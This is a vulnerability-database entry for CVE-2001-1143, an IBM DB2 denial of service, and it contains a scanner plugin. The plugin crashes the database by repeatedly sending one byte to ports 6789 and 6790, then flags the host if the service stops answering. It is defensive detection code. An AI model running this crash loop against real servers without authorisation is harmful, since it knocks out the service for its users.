DB2 DOS vulnerability with potential to crash the database by sending a single byte leading to continuous service disruptio
Reporter | Title | Published | Views | Family All 4 |
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Cvelist | CVE-2001-1143 | 15 Mar 200205:00 | – | cvelist |
CVE | CVE-2001-1143 | 15 Mar 200205:00 | – | cve |
NVD | CVE-2001-1143 | 11 Jul 200104:00 | – | nvd |
Tenable Nessus | IBM DB2 Multiple CGI Single Byte Request Remote DoS | 6 Mar 200200:00 | – | nessus |
Source | Link |
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securityfocus | www.securityfocus.com/bid/3010 |
# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.10871");
script_version("2023-07-21T05:05:22+0000");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/3010");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_cve_id("CVE-2001-1143");
script_name("DB2 DOS");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2002 Michel Arboi");
script_family("Denial of Service");
script_dependencies("find_service.nasl");
script_require_ports(6789, 6790);
script_tag(name:"solution", value:"Upgrade your software.");
script_tag(name:"summary", value:"It was possible to crash the DB2 database by sending just one byte to it.");
script_tag(name:"impact", value:"An attacker may use this attack to make this service crash continuously, preventing you
from working properly.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
function test_db2_port( port ) {
if( ! get_port_state( port ) )
return;
soc = open_sock_tcp( port );
if( ! soc )
return;
for( i = 0; i < 100; i++ ) {
send( socket:soc, data:string( "x" ) );
close( soc );
soc = open_sock_tcp( port );
if( ! soc ) {
sleep( 1 );
soc = open_sock_tcp( port );
if( ! soc ) {
security_message( port:port );
return;
}
}
}
close( soc );
return;
}
test_db2_port( port:6789 );
test_db2_port( port:6790 );
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